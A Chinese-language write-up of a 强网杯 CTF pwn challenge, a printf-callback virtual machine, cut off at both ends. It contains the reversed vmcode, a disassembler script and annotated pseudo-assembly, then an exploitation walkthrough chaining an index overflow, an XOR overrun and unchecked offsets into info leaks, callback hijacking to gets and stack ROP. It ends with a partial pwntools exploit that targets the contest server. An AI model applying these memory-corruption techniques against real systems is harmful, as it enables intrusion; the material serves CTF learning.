    p64(syst_ofs)[0:2],#3c
    p64(syst_ofs)[2:4],#3e
    p64(gadget_ofs)[0:2],#40
    p64(gadget_ofs)[2:4],#42
    p16(0xffff),#44

    p16(fakevt+0x18+8),#46
    p16(fakevt+0x1a+8),#48
    p16(fakevt+0x1c+8),#4a
    p16(fakevt+0x1e+8),#4c

    p16(fakevt+0x8),#4e
    p16(fakevt+0xa),#50
    p16(fakevt+0xc),#52
    p16(fakevt+0xe),#54

    p16(fakevt+0),#56
    p16(fakevt+2),#58
    p16(fakevt+4),#5a
    p16(fakevt+6),#5c

    p16(0xd10),#5e
    p16(0),#60
    p16(0xda0),#62

    p16(0xd70+0x38+0),#64
    p16(0xd70+0x38+2),#66
    p16(0xd70+0x38+4),#68
    p16(0xd70+0x38+6),#6a

    p16(0x68),#6c
    p16(0x68+2),#6e
    p16(0x68+4),#70
    p16(0x68+8),#72

    p16(fakevt+0x18),#74
    p16(fakevt+0x1a),#76
    p16(fakevt+0x1c),#78
    p16(fakevt+0x1e),#7a
    p64(gad2_ofs)[0:2],#7c
    p64(gad2_ofs)[2:4],#7e

    

    ])
    return dt2

又是一年强网杯,很多网安人都要完成的完成 KPI...

捡了个二血,就做了这题,别的没咋看

b73f5b03df82d68b91baf2caa087b77

题目附件:
通过百度网盘分享的文件:prpr.zip
链接:https://pan.baidu.com/s/1mrbCrjnKpMOxmJiUT0Q53A?pwd=hs60
提取码:hs60

分析

程序为 printf 注册了很多回调,在遇到这些回调的时候会进入对应的 handler 处理并通过第三个参数携带格式化字符串本身的参数

img

题目使用这个机制实现了一个 VM,VM 对应的格式化字符串 vmcode 在全局段上,dump如下:

[(0, '%x', 0), (1, '%a', 0), (2, '%Y', 1), (3, '%U', 255), (4, '%k', 1), (5, '%r', 0), (6, '%S', 0), (7, '%k', 1), (8, '%U', 0), (9, '%r', 0), (10, '%S', 0), (11, '%a', 0), (12, '%Y', 2), (13, '%U', 63), (14, '%k', 2), (15, '%r', 0), (16, '%S', 0), (17, '%k', 2), (18, '%U', 0), (19, '%r', 0), (20, '%S', 0), (21, '%k', 2), (22, '%U', 4), (23, '%i', 0), (24, '%c', 0), (25, '%k', 1), (26, '%D', 0), (27, '%k', 2), (28, '%U', 4), (29, '%i', 0), (30, '%b', 0), (31, '%n', 0), (32, '%a', 0), (33, '%Y', 3), (34, '%a', 0), (35, '%Y', 4), (36, '%U', 63), (37, '%k', 4), (38, '%r', 0), (39, '%S', 0), (40, '%k', 4), (41, '%U', 0), (42, '%r', 0), (43, '%S', 0), (44, '%U', 0), (45, '%Y', 5), (46, '%k', 4), (47, '%k', 5), (48, '%r', 0), (49, '%S', 59), (50, '%g', 60), (51, '%k', 3), (52, '%C', 0), (53, '%y', 0), (54, '%k', 5), (55, '%U', 1), (56, '%A', 0), (57, '%Y', 5), (58, '%N', 46), (59, '%n', 0), (60, '%a', 0), (61, '%k', 5), (62, '%#X', 0), (63, '%k', 5), (64, '%#V', 0), (65, '%U', 255), (66, '%M', 0), (67, '%S', 0), (68, '%k', 5), (69, '%#V', 0), (70, '%n', 0), (71, '%a', 0), (72, '%Y', 0), (73, '%U', 1), (74, '%k', 0), (75, '%M', 0), (76, '%T', 79), (77, '%g', 1), (78, '%N', 71), (79, '%U', 2), (80, '%k', 0), (81, '%M', 0), (82, '%T', 85), (83, '%g', 32), (84, '%N', 71), (85, '%U', 3), (86, '%k', 0), (87, '%M', 0), (88, '%T', 91), (89, '%g', 110), (90, '%N', 71), (91, '%U', 4), (92, '%k', 0), (93, '%M', 0), (94, '%T', 97), (95, '%g', 141), (96, '%N', 71), (97, '%U', 5), (98, '%k', 0), (99, '%M', 0), (100, '%T', 103), (101, '%g', 178), (102, '%N', 71), (103, '%U', 6), (104, '%k', 0), (105, '%M', 0), (106, '%T', 109), (107, '%g', 209), (108, '%N', 71), (109, '%x', 0), (110, '%a', 0), (111, '%Y', 1), (112, '%U', 255), (113, '%k', 1), (114, '%r', 0), (115, '%S', 0), (116, '%k', 1), (117, '%U', 0), (118, '%r', 0), (119, '%S', 0), (120, '%a', 0), (121, '%Y', 2), (122, '%U', 63), (123, '%k', 2), (124, '%r', 0), (125, '%S', 0), (126, '%k', 2), (127, '%U', 0), (128, '%r', 0), (129, '%S', 0), (130, '%k', 2), (131, '%U', 4), (132, '%i', 0), (133, '%c', 0), (134, '%k', 1), (135, '%H', 0), (136, '%k', 2), (137, '%U', 4), (138, '%i', 0), (139, '%b', 0), (140, '%n', 0), (141, '%a', 0), (142, '%Y', 3), (143, '%a', 0), (144, '%Y', 4), (145, '%U', 62), (146, '%k', 4), (147, '%r', 0), (148, '%S', 0), (149, '%k', 4), (150, '%U', 0), (151, '%r', 0), (152, '%S', 0), (153, '%U', 0), (154, '%Y', 5), (155, '%k', 4), (156, '%k', 5), (157, '%r', 0), (158, '%S', 177), (159, '%g', 60), (160, '%k', 3), (161, '%G', 0), (162, '%k', 5), (163, '%#X', 0), (164, '%k', 5), (165, '%#V', 0), (166, '%U', 255), (167, '%M', 0), (168, '%S', 0), (169, '%k', 5), (170, '%#V', 0), (171, '%y', 0), (172, '%k', 5), (173, '%U', 1), (174, '%A', 0), (175, '%Y', 5), (176, '%N', 155), (177, '%n', 0), (178, '%a', 0), (179, '%Y', 1), (180, '%U', 255), (181, '%k', 1), (182, '%r', 0), (183, '%S', 0), (184, '%k', 1), (185, '%U', 0), (186, '%r', 0), (187, '%S', 0), (188, '%a', 0), (189, '%Y', 2), (190, '%U', 63), (191, '%k', 2), (192, '%r', 0), (193, '%S', 0), (194, '%k', 2), (195, '%U', 0), (196, '%r', 0), (197, '%S', 0), (198, '%k', 2), (199, '%U', 4), (200, '%i', 0), (201, '%c', 0), (202, '%k', 1), (203, '%F', 0), (204, '%k', 2), (205, '%U', 4), (206, '%i', 0), (207, '%b', 0), (208, '%n', 0), (209, '%a', 0), (210, '%Y', 3), (211, '%a', 0), (212, '%Y', 4), (213, '%U', 63), (214, '%k', 4), (215, '%r', 0), (216, '%S', 0), (217, '%k', 4), (218, '%U', 0), (219, '%r', 0), (220, '%S', 0), (221, '%U', 0), (222, '%Y', 5), (223, '%k', 4), (224, '%k', 5), (225, '%r', 0), (226, '%S', 245), (227, '%g', 60), (228, '%k', 3), (229, '%E', 0), (230, '%k', 5), (231, '%#X', 0), (232, '%k', 5), (233, '%#V', 0), (234, '%U', 255), (235, '%M', 0), (236, '%S', 0), (237, '%k', 5), (238, '%#V', 0), (239, '%y', 0), (240, '%k', 5), (241, '%U', 1), (242, '%A', 0), (243, '%Y', 5), (244, '%N', 223), (245, '%n', 0), (246, '%x', 0), (247, '%x', 0), (248, '%x', 0), (249, '%x', 0)]

虚拟机相关数据结构恢复:

00000000 struct __attribute__((packed)) __attribute__((aligned(4))) vm // sizeof=0x7654
00000000 {
00000000     struct code *code_page;
00000008     __int32 code_size;
0000000C     __int32 field_C;
00000010     __int32 *regs;
00000018     __int32 reg_nums;
0000001C     __int32 field_1C;
00000020     signed int stack[1000];
00000FC0     __int64 padding[31];
000010B8     __int32 pad1;
000010BC     __int32 pad2;
000010C0     __int32 pad3;
000010C4     struct mem_chunk mem_chunks[100];
00007654 };

00000000 struct mem_chunk // sizeof=0x104
00000000 {                                       // XREF: vm/r vm/r
00000000     char data[252];
000000FC     __int32 field1;
00000100     __int32 retaddr;
00000104 };

00000000 struct code // sizeof=0xC
00000000 {                                       // XREF: vm/r
00000000     char fmtchar[8];
00000008     __int32 arg;
0000000C };

逆向每个 handler 的作用然后编写脚本恢复出 vmcode 序列对应的伪 ASM:

import os, sys

STACK_ARG1 = "STACK[SP]"
STACK_ARG2 = "STACK[SP-1]"
OPRAND_ARG = "OPRAND"

asm_map = {
    "%A": ("vm_add", 2, STACK_ARG1, STACK_ARG2),
    "%C": ("vm_and", 2, STACK_ARG1, STACK_ARG2),
    "%D": ("vm_mem_data_and", 1, STACK_ARG1),
    "%E": ("vm_or", 2, STACK_ARG1, STACK_ARG2),
    "%F": ("vm_mem_data_or", 1, STACK_ARG1),
    "%G": ("vm_xor", 2, STACK_ARG1, STACK_ARG2),
    "%H": ("vm_mem_data_xor", 1, STACK_ARG1),
    "%i": ("vm_mul", 2, STACK_ARG1, STACK_ARG2),
    "%J": ("vm_shl", 2, STACK_ARG1, STACK_ARG2),
    "%K": ("vm_shr", 2, STACK_ARG1, STACK_ARG2),
    "%r": ("vm_greater_than", 2, STACK_ARG1, STACK_ARG2),
    "%M": ("vm_eq", 2, STACK_ARG1, STACK_ARG2),
    "%N": ("vm_jmp_addr", 1, OPRAND_ARG),
    "%S": ("vm_jmp_not_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%T": ("vm_jmp_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%U": ("vm_push_int", 1, OPRAND_ARG),
    "%#V": ("vm_load_mem_to_stack", 1, STACK_ARG1),
    "%k": ("vm_push_reg", 1, OPRAND_ARG),
    "%#X": ("vm_store_stack_to_mem", 2, STACK_ARG1, STACK_ARG2),
    "%Y": ("vm_pop_reg", 1, OPRAND_ARG),
    "%y": ("vm_pop_stdout", 0),
    "%a": ("vm_push_stdin", 0),
    "%b": ("vm_show_mem_chunk", 1, STACK_ARG1),
    "%c": ("vm_read_mem_chunk", 1, STACK_ARG1),
    "%f": ("vm_pop_null", 0),
    "%g": ("vm_call", 1, OPRAND_ARG),
    "%n": ("vm_ret", 0),
    "%x": ("vm_exit", 0),
}

def dump_asm():
    code = []
    entry = 71

    arg_trans = lambda x: x if x != OPRAND_ARG else "OPRAND"

    with open('code.txt', 'r') as f:
        code = eval(f.read())

    be_jmped = []
    tagged = []

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call"]:
            be_jmped.append(oprand)

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if not asm_fmt:
            print(f"Error: Unknown ASM code: {c[0]}")
            continue
        arg_trans = lambda x: x if x != OPRAND_ARG else oprand
        arg_num = asm_fmt[1]

        if line_num == entry:
            print("ENTRY:")
        if (line_num not in tagged) and (line_num in be_jmped):
            print(f"\nBLOCK_{line_num}:")
            tagged.append(line_num)

        if arg_num == 0:
            print(f"{line_num}:\t {asm_fmt[0]}()")
        elif arg_num == 1:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])})")
        elif arg_num == 2:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])})")
        elif arg_num == 3:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])}, {arg_trans(asm_fmt[4])})")

        if (line_num not in tagged) and (asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call", "vm_ret"]):
            print(f"\nBLOCK_{line_num+1}:")
            tagged.append(line_num+1)

if __name__ == "__main__":
    dump_asm()

逆向恢复出来的伪 ASM 并为菜单和几个主要的子函数添加了手动注释:

BLOCK_0:
0:       vm_exit()

; ======================================
; OPTION 1
; 
; READ data to mem chunk
; AND mem chunk bytes and output
; ======================================

BLOCK_1:
1:       vm_push_stdin()
2:       vm_pop_reg(1)
3:       vm_push_int(255)
4:       vm_push_reg(1)
5:       vm_greater_than(STACK[SP], STACK[SP-1])
6:       vm_jmp_not_zero(STACK[SP], 0)

BLOCK_7:
7:       vm_push_reg(1)
8:       vm_push_int(0)
9:       vm_greater_than(STACK[SP], STACK[SP-1])
10:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_11:
11:      vm_push_stdin()
12:      vm_pop_reg(2)
13:      vm_push_int(63)
14:      vm_push_reg(2)
15:      vm_greater_than(STACK[SP], STACK[SP-1])
16:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_17:
17:      vm_push_reg(2)
18:      vm_push_int(0)
19:      vm_greater_than(STACK[SP], STACK[SP-1])
20:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_21:
21:      vm_push_reg(2)
22:      vm_push_int(4)
23:      vm_mul(STACK[SP], STACK[SP-1])
24:      vm_read_mem_chunk(STACK[SP])
25:      vm_push_reg(1)
26:      vm_mem_data_and(STACK[SP])
27:      vm_push_reg(2)
28:      vm_push_int(4)
29:      vm_mul(STACK[SP], STACK[SP-1])
30:      vm_show_mem_chunk(STACK[SP])
31:      vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 2
;
; READ data to mem chunk
; AND mem chunk ints and output
; ======================================

BLOCK_32:
32:      vm_push_stdin()
33:      vm_pop_reg(3)
34:      vm_push_stdin()
35:      vm_pop_reg(4)
36:      vm_push_int(63)
37:      vm_push_reg(4)
38:      vm_greater_than(STACK[SP], STACK[SP-1])
39:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_40:
40:      vm_push_reg(4)
41:      vm_push_int(0)
42:      vm_greater_than(STACK[SP], STACK[SP-1])
43:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_44:
44:      vm_push_int(0)
45:      vm_pop_reg(5)

BLOCK_46:
46:      vm_push_reg(4)
47:      vm_push_reg(5)
48:      vm_greater_than(STACK[SP], STACK[SP-1])
49:      vm_jmp_not_zero(STACK[SP], 59)

BLOCK_50:
50:      vm_call(60)
51:      vm_push_reg(3)
52:      vm_and(STACK[SP], STACK[SP-1])
53:      vm_pop_stdout()
54:      vm_push_reg(5)
55:      vm_push_int(1)
56:      vm_add(STACK[SP], STACK[SP-1])
57:      vm_pop_reg(5)
58:      vm_jmp_addr(46)

BLOCK_59:
59:      vm_ret()

; ======================================
; END OPTION
; ======================================

BLOCK_60:
60:      vm_push_stdin()
61:      vm_push_reg(5)
62:      vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
63:      vm_push_reg(5)
64:      vm_load_mem_to_stack(STACK[SP])
65:      vm_push_int(255)
66:      vm_eq(STACK[SP], STACK[SP-1])
67:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_68:
68:      vm_push_reg(5)
69:      vm_load_mem_to_stack(STACK[SP])
70:      vm_ret()

; ======================================
; MENU
; 
; choice 1~6:
; 1 => 1
; 2 => 32
; 3 => 110
; 4 => 141
; 5 => 178
; 6 => 209
; ======================================

BLOCK_71:
ENTRY:
71:      vm_push_stdin()
72:      vm_pop_reg(0)
73:      vm_push_int(1)
74:      vm_push_reg(0)
75:      vm_eq(STACK[SP], STACK[SP-1])
76:      vm_jmp_zero(STACK[SP], 79)

BLOCK_77:
77:      vm_call(1)
78:      vm_jmp_addr(71)

BLOCK_79:
79:      vm_push_int(2)
80:      vm_push_reg(0)
81:      vm_eq(STACK[SP], STACK[SP-1])
82:      vm_jmp_zero(STACK[SP], 85)

BLOCK_83:
83:      vm_call(32)
84:      vm_jmp_addr(71)

BLOCK_85:
85:      vm_push_int(3)
86:      vm_push_reg(0)
87:      vm_eq(STACK[SP], STACK[SP-1])
88:      vm_jmp_zero(STACK[SP], 91)

BLOCK_89:
89:      vm_call(110)
90:      vm_jmp_addr(71)

BLOCK_91:
91:      vm_push_int(4)
92:      vm_push_reg(0)
93:      vm_eq(STACK[SP], STACK[SP-1])
94:      vm_jmp_zero(STACK[SP], 97)

BLOCK_95:
95:      vm_call(141)
96:      vm_jmp_addr(71)

BLOCK_97:
97:      vm_push_int(5)
98:      vm_push_reg(0)
99:      vm_eq(STACK[SP], STACK[SP-1])
100:     vm_jmp_zero(STACK[SP], 103)

BLOCK_101:
101:     vm_call(178)
102:     vm_jmp_addr(71)

BLOCK_103:
103:     vm_push_int(6)
104:     vm_push_reg(0)
105:     vm_eq(STACK[SP], STACK[SP-1])
106:     vm_jmp_zero(STACK[SP], 109)

BLOCK_107:
107:     vm_call(209)
108:     vm_jmp_addr(71)

BLOCK_109:
109:     vm_exit()

; ======================================
; END MENU
; ======================================

; ======================================
; OPTION 3
;
; READ data to mem chunk
; XOR mem chunk bytes and output
; ======================================

BLOCK_110:
110:     vm_push_stdin()
111:     vm_pop_reg(1)
112:     vm_push_int(255)
113:     vm_push_reg(1)
114:     vm_greater_than(STACK[SP], STACK[SP-1])
115:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_116:
116:     vm_push_reg(1)
117:     vm_push_int(0)
118:     vm_greater_than(STACK[SP], STACK[SP-1])
119:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_120:
120:     vm_push_stdin()
121:     vm_pop_reg(2)
122:     vm_push_int(63)
123:     vm_push_reg(2)
124:     vm_greater_than(STACK[SP], STACK[SP-1])
125:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_126:
126:     vm_push_reg(2)
127:     vm_push_int(0)
128:     vm_greater_than(STACK[SP], STACK[SP-1])
129:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_130:
130:     vm_push_reg(2)
131:     vm_push_int(4)
132:     vm_mul(STACK[SP], STACK[SP-1])
133:     vm_read_mem_chunk(STACK[SP])
134:     vm_push_reg(1)
135:     vm_mem_data_xor(STACK[SP])
136:     vm_push_reg(2)
137:     vm_push_int(4)
138:     vm_mul(STACK[SP], STACK[SP-1])
139:     vm_show_mem_chunk(STACK[SP])
140:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 4
;
; READ data to mem chunk
; XOR mem chunk ints and output
; ======================================

BLOCK_141:
141:     vm_push_stdin()
142:     vm_pop_reg(3)
143:     vm_push_stdin()
144:     vm_pop_reg(4)
145:     vm_push_int(62)
146:     vm_push_reg(4)
147:     vm_greater_than(STACK[SP], STACK[SP-1])
148:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_149:
149:     vm_push_reg(4)
150:     vm_push_int(0)
151:     vm_greater_than(STACK[SP], STACK[SP-1])
152:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_153:
153:     vm_push_int(0)
154:     vm_pop_reg(5)

BLOCK_155:
155:     vm_push_reg(4)
156:     vm_push_reg(5)
157:     vm_greater_than(STACK[SP], STACK[SP-1])
158:     vm_jmp_not_zero(STACK[SP], 177)

BLOCK_159:
159:     vm_call(60)
160:     vm_push_reg(3)
161:     vm_xor(STACK[SP], STACK[SP-1])
162:     vm_push_reg(5)
163:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
164:     vm_push_reg(5)
165:     vm_load_mem_to_stack(STACK[SP])
166:     vm_push_int(255)
167:     vm_eq(STACK[SP], STACK[SP-1])
168:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_169:
169:     vm_push_reg(5)
170:     vm_load_mem_to_stack(STACK[SP])
171:     vm_pop_stdout()
172:     vm_push_reg(5)
173:     vm_push_int(1)
174:     vm_add(STACK[SP], STACK[SP-1])
175:     vm_pop_reg(5)
176:     vm_jmp_addr(155)

BLOCK_177:
177:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 5
;
; READ data to mem chunk
; OR mem chunk bytes and output
; ======================================

BLOCK_178:
178:     vm_push_stdin()
179:     vm_pop_reg(1)
180:     vm_push_int(255)
181:     vm_push_reg(1)
182:     vm_greater_than(STACK[SP], STACK[SP-1])
183:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_184:
184:     vm_push_reg(1)
185:     vm_push_int(0)
186:     vm_greater_than(STACK[SP], STACK[SP-1])
187:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_188:
188:     vm_push_stdin()
189:     vm_pop_reg(2)
190:     vm_push_int(63)
191:     vm_push_reg(2)
192:     vm_greater_than(STACK[SP], STACK[SP-1])
193:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_194:
194:     vm_push_reg(2)
195:     vm_push_int(0)
196:     vm_greater_than(STACK[SP], STACK[SP-1])
197:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_198:
198:     vm_push_reg(2)
199:     vm_push_int(4)
200:     vm_mul(STACK[SP], STACK[SP-1])
201:     vm_read_mem_chunk(STACK[SP])
202:     vm_push_reg(1)
203:     vm_mem_data_or(STACK[SP])
204:     vm_push_reg(2)
205:     vm_push_int(4)
206:     vm_mul(STACK[SP], STACK[SP-1])
207:     vm_show_mem_chunk(STACK[SP])
208:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 6
;
; READ data to mem chunk
; OR mem chunk ints and output
; ======================================

BLOCK_209:
209:     vm_push_stdin()
210:     vm_pop_reg(3)
211:     vm_push_stdin()
212:     vm_pop_reg(4)
213:     vm_push_int(63)
214:     vm_push_reg(4)
215:     vm_greater_than(STACK[SP], STACK[SP-1])
216:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_217:
217:     vm_push_reg(4)
218:     vm_push_int(0)
219:     vm_greater_than(STACK[SP], STACK[SP-1])
220:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_221:
221:     vm_push_int(0)
222:     vm_pop_reg(5)

BLOCK_223:
223:     vm_push_reg(4)
224:     vm_push_reg(5)
225:     vm_greater_than(STACK[SP], STACK[SP-1])
226:     vm_jmp_not_zero(STACK[SP], 245)

BLOCK_227:
227:     vm_call(60)
228:     vm_push_reg(3)
229:     vm_or(STACK[SP], STACK[SP-1])
230:     vm_push_reg(5)
231:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
232:     vm_push_reg(5)
233:     vm_load_mem_to_stack(STACK[SP])
234:     vm_push_int(255)
235:     vm_eq(STACK[SP], STACK[SP-1])
236:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_237:
237:     vm_push_reg(5)
238:     vm_load_mem_to_stack(STACK[SP])
239:     vm_pop_stdout()
240:     vm_push_reg(5)
241:     vm_push_int(1)
242:     vm_add(STACK[SP], STACK[SP-1])
243:     vm_pop_reg(5)
244:     vm_jmp_addr(223)

BLOCK_245:
245:     vm_ret()
; ======================================
; END OPTION
; ======================================

BLOCK_246:
246:     vm_exit()
247:     vm_exit()
248:     vm_exit()
249:     vm_exit()

利用

漏洞点有两个,一个是 option6 存在一个 mem_chunk 下标溢出,可以在逐 int 写的时候溢出一个 int,但是覆盖不到保存返回地址的位置。此时需要结合 mem_data_xor 中的另一个漏洞,该函数只要没读到 \x00 就会继续往后进行 XOR,可以实现修改一个字节的 VM 返回地址。

__int64 __fastcall sub_1910(FILE *stream, const struct printf_info *info, const void *const *args)
{
  __int64 v3; // rax
  char v4; // cl
  char *v5; // rdx
  char i; // al

  v3 = vm_sp--;
  v4 = vm->stack[v3];
  v5 = vm->mem_chunks[mem_idx].data;
  for ( i = *v5; *v5; i = *v5 )
    *v5++ = v4 ^ i;
  return 0LL;
}

但是一个字节返回地址劫持的能力太弱了...需要扩大利用优势,于是我们选择使用 50 行中的 vm_call(60)开始作为 gadget,劫持到这里的时候再次发生了函数调用,保存了返回地址到 mem_chunk 里,并且该函数会读取一个 int 值写入 curr_mem_chunk[reg5] 中,此时 reg5 的值正好是 64(完成了一次遍历++),也正好是返回地址所在的下标,因此我们就实现了劫持 4 字节返回地址的能力。返回地址以 0xc 大小的 code 结构体为单位,计算好偏移可以跳转到 mem_chunk 中的可控区域执行我们提前布置好的 vmcode,将攻击转换为任意 vmcode 执行下的 RCE。

然后进行地址泄露:

  1. 首先控制 vmcode 后可以使用 run_vm_code 中的格式化字符串泄露栈地址,ELF 地址,canary;
  2. 其次使用两次 b"%a%#V%yXXXX\x00 泄露 mem_chunk_base + offset上的值的高低 4 字节,获得 heap 地址;

    1. %#V%#X中存在第三个漏洞,使用 # 和不使用 # 会进入两条不同的分支来获取读写偏移,在使用 # 时并没有检查 offset 是否在合理范围内,造成了越界;
  3. 接着通过计算 ELF 地址和 mem_chunk_base 的地址可以泄露 ELF 上的任意值,通过泄露 got 表函数指针,确定 libc 的大致版本(题目没给 libc),并计算完成 orw 所需 gadget 地址;

此时一个 mem_chunk 的空间已经差不多被用完,通过 vm_jmp(71) 也就是跳转到 ENTRY 的位置重新开启一次 VM 程序并使用同样的操作可以进行第二次任意 vmcode 执行;

这一次我们使用两次 b"%a%a%#XDDDD\x00" 劫持 init_func_register_printf 注册到堆内存上的各种回调函数的地址,这些函数第一个参数是 FILE *stream 类型,但是实际上来源于更高地址上的栈内存,当使用对应的格式化字符时就会跳转到我们想要的函数。于是劫持回调函数为 gets,控制好 gets 读入的内容避免执行流提前 crash 或者触发 canary 错误 (比如填充字节全用大写 A 时会提前 crash 但是用小写 a 就能过,神奇),最终可以实现栈上的 ROP。

img

即使计算了远程 libc,本地和远程的堆布局依然有细微差异,通过分析远程堆应该是没有 vm 对象前的一个 free_chunk,所以导致劫持回调时的偏移不对,减去这个 chunk 大小就可以打通远程。

EXP

最终 EXP 如下:

from pwn import *
from LibcSearcher import *
import time

context.log_level = 'debug'

#p = process("./prpr", env={"LD_PRELOAD":"./libc2404.so"})
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc2404.so')
p = remote("123.56.219.14", 32790)

def option1(and_value, size, data:bytes):
    '''
    read mem => bytes and => show mem
    '''
    p.sendline(b'1')  
    p.sendline(str(and_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option2(and_value, size, data:list[int]):
    '''
    read ints => ints and => show ints
    '''
    p.sendline(b'2')    # option
    p.sendline(str(and_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def option3(xor_value, size, data:bytes):
    '''
    read mem => bytes xor => show mem
    '''
    p.sendline(b'3')  
    p.sendline(str(xor_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option4(xor_value, size, data:list[int]):
    '''
    read ints => ints xor => show ints
    '''
    p.sendline(b'4')    # option
    p.sendline(str(xor_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())
        p.recv()

def option5(or_value, size, data:bytes):
    '''
    read mem => bytes or => show mem
    '''
    p.sendline(b'5')  
    p.sendline(str(or_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option6(or_value, size, data:list[int]):
    '''
    read ints => ints or => show ints
    '''
    p.sendline(b'6')    # option
    p.sendline(str(or_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def make_vm_code(fmtstr:bytes, arg:int):
    assert len(fmtstr) <= 8
    fmtstr = fmtstr.ljust(8, b"\x00")
    arg = arg & 0xffffffff
    return fmtstr + p32(arg) 

def exp():
    #gdb.attach(p, "b *0x555555554000+0x2688\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1996\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1E00\nc\n")
    p.recv()
    option6(0x1, 63, [0xdeadbeef]*64)

    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"%p|"*16 + b"\x00"
    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"HEAP\x00\x00\x00\x00\x00\x00\x00\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"

    fake_vm_code += make_vm_code(b"%N", 71)

    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"stack_leak: {hex(stack_leak)}")
    canary_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"canary_leak: {hex(canary_leak)}")
    p.recvuntil(b"|")
    elf_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"elf_leak: {hex(elf_leak)}")
    elf_base = elf_leak-0x1fb0
    log.info(f"elf_base: {hex(elf_base)}")

    # ====================================================
    #gdb.attach(p, "b *0x555555554000+0x2397\nc\n")
    p.sendline(b"-1008")
    p.sendline(b"-1007")
    p.recvuntil(b"HEAP")
    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    heap_leak = (heap_leak_high << 32) + heap_leak_low
    heap_base = heap_leak - 0x8d50
    curr_mem_chunk_base = heap_base + 0x2680
    log.info(f"heap_leak: {hex(heap_leak)}")
    log.info(f"heap_base: {hex(heap_base)}")
    log.info(f"curr_mem_chunk_base: {hex(curr_mem_chunk_base)}")

    puts_got = elf_base + 0x5F58
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4-1}".encode())
    p.recvuntil(b"XXXX")
    tmp_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    tmp_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    libc_puts = (tmp_leak_high << 32) + tmp_leak_low
    log.info(f"libc_puts: {hex(libc_puts)}")

    libc_base = libc_puts - 0x87bd0
    log.info(f"libc_base: {hex(libc_base)}")

    #pause()
    # ====================================================
    # NEW ROUND
    # ====================================================
    option6(0x1, 63, [0xdeadbeef]*64)
    # 0xca8
    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"\x00"
